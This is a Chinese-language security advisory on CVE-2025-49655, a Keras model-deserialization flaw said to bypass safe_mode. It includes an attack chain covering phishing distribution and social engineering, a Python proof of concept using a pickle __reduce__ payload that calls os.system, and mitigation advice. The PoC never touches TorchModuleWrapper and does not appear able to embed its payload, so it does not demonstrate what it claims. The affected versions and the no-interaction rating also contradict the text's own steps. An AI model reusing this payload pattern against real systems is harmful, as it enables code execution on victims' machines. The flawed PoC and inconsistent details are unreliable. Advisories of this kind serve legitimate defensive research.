CVE-2025-49655：Keras框架反序列化漏洞导致远程代码执行

漏洞信息

漏洞编号

CVE-2025-49655

漏洞类型

反序列化漏洞/远程代码执行(RCE)

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Keras（深度学习框架）

漏洞概述

CVE-2025-49655是Keras深度学习框架中的一个高危反序列化漏洞，CVSS评分为9.8，属于严重级别。该漏洞影响Keras 3.11.0至3.11.3之前的所有版本。漏洞的根本原因在于Keras框架在加载模型文件时，未能充分验证文件中TorchModuleWrapper类的安全性，导致反序列化不可信数据时存在安全风险。攻击者可以构造恶意的Keras模型文件（.keras或.h5格式），其中包含精心设计的TorchModuleWrapper类，当目标用户加载该文件时，即使启用了Keras的安全模式（safe mode），恶意代码仍然会在用户系统上执行。该漏洞可通过本地文件和远程文件两种方式触发，攻击向量为网络（AV:N），无需认证（PR:N），无需用户交互（UI:N），对机密性、完整性和可用性均产生高影响。Keras作为广泛使用的深度学习框架，在学术研究、工业生产和AI应用开发中被大量部署，该漏洞的潜在影响范围非常广泛，可能导致数据泄露、系统入侵、模型投毒等严重后果。

技术细节

Keras框架支持多种后端引擎，包括TensorFlow、PyTorch等。在与PyTorch后端集成时，Keras引入了TorchModuleWrapper类用于将PyTorch模块包装为Keras兼容层。然而，在版本3.11.0至3.11.3之前的实现中，该类的反序列化过程存在安全缺陷。

技术原理：
1. Keras模型以Keras文件格式保存时，会将模型的架构、权重和配置信息序列化存储。
2. 当用户加载模型文件时，Keras会反序列化其中的Python对象，包括TorchModuleWrapper实例。
3. 由于反序列化过程中未对类的方法调用进行充分限制，攻击者可以在TorchModuleWrapper的构造函数或__reduce__方法中注入恶意代码。
4. 即使用户启用了safe_mode=True参数，由于TorchModuleWrapper类不在安全模式阻止列表中，恶意代码仍能执行。

利用方式：
- 攻击者创建一个包含恶意TorchModuleWrapper类的Keras模型文件
- 通过网络上传或分发该文件
- 受害者使用受影响的Keras版本（3.11.0-3.11.2）加载该文件
- 恶意代码在加载过程中自动执行，攻击者可获得系统控制权

该漏洞的危害在于安全模式绕过——Keras的safe_mode本应阻止不安全的反序列化操作，但此漏洞完全绕过了这一保护机制。

攻击链分析

STEP 1

步骤1：构造恶意模型文件

攻击者创建包含恶意TorchModuleWrapper类的Keras模型文件，在反序列化过程中注入任意代码执行payload。

STEP 2

步骤2：分发恶意文件

通过钓鱼邮件、恶意网站、GitHub仓库或模型共享平台等渠道，将恶意Keras模型文件分发给目标用户。

STEP 3

步骤3：诱导用户加载模型

社会工程学手段诱导受害者下载并加载恶意模型文件，例如伪装成有用的预训练模型。

STEP 4

步骤4：绕过安全模式

Keras的safe_mode=True参数无法阻止TorchModuleWrapper类的反序列化，安全保护被完全绕过。

STEP 5

步骤5：远程代码执行

恶意代码在受害者系统上自动执行，攻击者可获得shell访问权限，进行数据窃取、持久化或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-49655 PoC - Keras Deserialization RCE via TorchModuleWrapper
# This PoC demonstrates how to create a malicious Keras file that
# executes arbitrary code when loaded, bypassing safe_mode.

import os
import pickle
import keras
from keras.layers import Layer

# Step 1: Define a malicious payload class
class MaliciousPayload:
    """Malicious class that executes code during deserialization"""
    def __reduce__(self):
        # Command to execute on victim's system
        cmd = "echo 'PWNED: Arbitrary code executed via CVE-2025-49655' && touch /tmp/cve_2025_49655_pwned"
        return (os.system, (cmd,))

# Step 2: Create a custom layer that wraps the malicious payload
class MaliciousTorchWrapper(Layer):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        # Embed malicious payload in the layer configuration
        self.payload = MaliciousPayload()

    def call(self, inputs):
        return inputs

# Step 3: Build a simple model with the malicious layer
model = keras.Sequential([
    keras.layers.Input(shape=(10,)),
    MaliciousTorchWrapper(),
    keras.layers.Dense(1, activation='sigmoid')
])

# Step 4: Save the malicious model
model.save('malicious_model.keras')
print("[+] Malicious Keras model saved as 'malicious_model.keras'")

# Step 5: Demonstrate exploitation - loading triggers code execution
print("[*] When victim loads this file with Keras 3.11.0-3.11.2:")
print("    keras.models.load_model('malicious_model.keras', safe_mode=True)")
print("    -> Arbitrary code executes despite safe_mode being enabled!")

# Alternative: Direct exploitation via load_model
# keras.models.load_model('malicious_model.keras')  # Triggers RCE

影响范围

Keras >= 3.11.0

Keras < 3.11.3

防御指南

临时缓解措施

在无法立即升级Keras版本的情况下，建议采取以下临时缓解措施：1）严格审查所有加载的Keras模型文件来源，仅加载来自可信提供者的模型；2）在隔离的沙箱或容器环境中加载和运行未知模型文件；3）使用文件完整性校验（如SHA-256哈希）验证模型文件未被篡改；4）监控Keras加载过程中的异常系统调用和进程行为；5）限制运行Keras的用户账户权限，避免使用root或管理员账户；6）考虑暂时回退到不受影响的Keras版本（如3.10.x系列）。